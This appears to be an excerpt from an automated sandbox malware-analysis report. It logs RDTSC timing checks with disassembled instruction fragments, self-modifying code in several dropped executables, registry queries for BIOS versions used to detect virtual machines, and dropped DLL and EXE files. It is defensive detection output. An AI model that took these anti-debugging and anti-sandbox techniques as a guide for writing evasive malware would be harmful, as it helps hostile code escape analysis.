Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AFF77 second address: 9AFF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AFF7D second address: 9AFF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jnl 00007FE0F4D44908h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AFF91 second address: 9AFF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B061D second address: 9B0621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B0621 second address: 9B065B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE0F4DC3CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE0F4DC3CB8h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FE0F4DC3CB2h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B065B second address: 9B0668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FE0F4D4490Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B0668 second address: 9B06C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov di, bx 0x00000009 push 00000000h 0x0000000b jmp 00007FE0F4DC3CAFh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FE0F4DC3CA8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov di, 10BBh 0x00000030 mov edi, 0EE3E511h 0x00000035 push eax 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FE0F4DC3CB4h 0x0000003e rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B1147 second address: 9B1151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FE0F4D44906h 0x0000000a rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B1151 second address: 9B1164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FE0F4DC3CA6h 0x00000013 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B1164 second address: 9B116A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B2C07 second address: 9B2C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B2C0B second address: 9B2C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B2C17 second address: 9B2C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B2C1D second address: 9B2C23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B2C23 second address: 9B2C30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FE0F4DC3CA6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B2C30 second address: 9B2C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007FE0F4D4490Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B7BFB second address: 9B7C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push ecx 0x00000007 ja 00007FE0F4DC3CA8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 nop 0x00000011 mov bx, 8780h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FE0F4DC3CA8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 add dword ptr [ebp+122D2DBAh], edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FE0F4DC3CA8h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 pop eax 0x00000059 pushad 0x0000005a popad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B9CBA second address: 9B9CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B9CBE second address: 9B9CC4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B9CC4 second address: 9B9D58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FE0F4D44906h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FE0F4D4490Ah 0x00000014 nop 0x00000015 jmp 00007FE0F4D4490Eh 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FE0F4D44908h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 pushad 0x00000037 popad 0x00000038 or dword ptr [ebp+122D17BEh], edi 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007FE0F4D44908h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 0000001Dh 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a jmp 00007FE0F4D44916h 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B9D58 second address: 9B9D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B9D5C second address: 9B9D62 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9BBD92 second address: 9BBE0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b mov dword ptr [ebp+12457D54h], ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FE0F4DC3CA8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d and di, 599Eh 0x00000032 add dword ptr [ebp+122D1C04h], edi 0x00000038 push 00000000h 0x0000003a xchg eax, esi 0x0000003b pushad 0x0000003c jmp 00007FE0F4DC3CB8h 0x00000041 jne 00007FE0F4DC3CA8h 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push edi 0x0000004c jg 00007FE0F4DC3CA6h 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9BCD15 second address: 9BCD89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+122D37C7h] 0x0000000f push 00000000h 0x00000011 add edi, 5338DAF7h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FE0F4D44908h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov ebx, dword ptr [ebp+122D37B7h] 0x00000039 xchg eax, esi 0x0000003a jng 00007FE0F4D44913h 0x00000040 jmp 00007FE0F4D4490Dh 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 jmp 00007FE0F4D44914h 0x0000004d pop eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jg 00007FE0F4D44906h 0x00000056 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9BDE01 second address: 9BDE07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9BDE07 second address: 9BDE15 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9BDE15 second address: 9BDE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9BDE1B second address: 9BDE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9BEDDE second address: 9BEE49 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007FE0F4DC3CACh 0x0000000d nop 0x0000000e mov edi, 23E183D4h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FE0F4DC3CA8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f pushad 0x00000030 mov ax, 0A00h 0x00000034 mov ebx, 56CF8D10h 0x00000039 popad 0x0000003a and edi, 566EF055h 0x00000040 push 00000000h 0x00000042 movsx ebx, cx 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jl 00007FE0F4DC3CB7h 0x0000004e jmp 00007FE0F4DC3CB1h 0x00000053 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C0EBE second address: 9C0EC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C14A3 second address: 9C151E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FE0F4DC3CA6h 0x00000009 jmp 00007FE0F4DC3CADh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FE0F4DC3CA8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c stc 0x0000002d push 00000000h 0x0000002f mov edi, 4C1BFBEAh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007FE0F4DC3CA8h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D2EBCh], edi 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FE0F4DC3CAEh 0x0000005e rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C24F1 second address: 9C24F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C24F5 second address: 9C2542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+1246022Fh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FE0F4DC3CA8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D38BFh] 0x00000030 mov dword ptr [ebp+122D2F13h], ecx 0x00000036 push 00000000h 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a push ecx 0x0000003b push esi 0x0000003c pop esi 0x0000003d pop ecx 0x0000003e jc 00007FE0F4DC3CACh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C2542 second address: 9C2554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jl 00007FE0F4D44906h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C45CB second address: 9C4635 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE0F4DC3CADh 0x0000000d nop 0x0000000e sub dword ptr [ebp+12450795h], edx 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 mov ebx, dword ptr [ebp+122D37B7h] 0x0000001d pop edi 0x0000001e mov ebx, ecx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007FE0F4DC3CA8h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 0000001Bh 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c mov ebx, dword ptr [ebp+122D35C7h] 0x00000042 xchg eax, esi 0x00000043 jmp 00007FE0F4DC3CB0h 0x00000048 push eax 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C5451 second address: 9C54B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FE0F4D44908h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov bx, 3300h 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FE0F4D44908h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 mov bl, al 0x00000045 push eax 0x00000046 jl 00007FE0F4D4492Bh 0x0000004c push eax 0x0000004d push edx 0x0000004e jbe 00007FE0F4D44906h 0x00000054 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C660B second address: 9C6628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C96C6 second address: 9C96CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9C96CC second address: 9C96D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9D75F0 second address: 9D75FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE0F4D44906h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9D75FB second address: 9D7646 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE0F4DC3CA8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ecx 0x00000011 pushad 0x00000012 jns 00007FE0F4DC3CA6h 0x00000018 jl 00007FE0F4DC3CA6h 0x0000001e popad 0x0000001f pop ecx 0x00000020 mov eax, dword ptr [eax] 0x00000022 jng 00007FE0F4DC3CBCh 0x00000028 jmp 00007FE0F4DC3CB6h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 jns 00007FE0F4DC3CA6h 0x0000003a rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9D7646 second address: 9D7663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE0F4D44915h 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AEC9C second address: 9AECB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB0h 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9D772D second address: 9D7759 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop edx 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FE0F4D4490Ch 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B19A6 second address: 9B19B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9B6F03 second address: 9B6F25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE0F4D44906h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE0F4D44911h 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DAF918 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DAD146 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F80FA7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F6AAC3 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Special instruction interceptor: First address: 7FE9A2 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Special instruction interceptor: First address: 9B3B39 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Special instruction interceptor: First address: A2B937 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CDE9A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E93B39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F0B937 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Special instruction interceptor: First address: 1107C1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Special instruction interceptor: First address: 12A072B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Special instruction interceptor: First address: 12C8D6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Special instruction interceptor: First address: 12B2864 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Special instruction interceptor: First address: 1330B2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Special instruction interceptor: First address: 4739E5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Special instruction interceptor: First address: 473ABD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Special instruction interceptor: First address: 4715EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Special instruction interceptor: First address: 63D888 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Special instruction interceptor: First address: 61BE83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Special instruction interceptor: First address: 6A8E8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Special instruction interceptor: First address: 12ACA19 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Special instruction interceptor: First address: 12ACB2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Special instruction interceptor: First address: 14566CC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Special instruction interceptor: First address: 147DDD2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Special instruction interceptor: First address: 1464B56 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Special instruction interceptor: First address: 14DE534 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Special instruction interceptor: First address: 45AB29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Special instruction interceptor: First address: 45AC20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Special instruction interceptor: First address: 685C2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Special instruction interceptor: First address: 5DF918 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Special instruction interceptor: First address: 5DD146 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Special instruction interceptor: First address: 7B0FA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Special instruction interceptor: First address: 79AAC3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\FCFBFHIEBK.exe

Code function: 9_2_0514036C rdtsc

9_2_0514036C

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
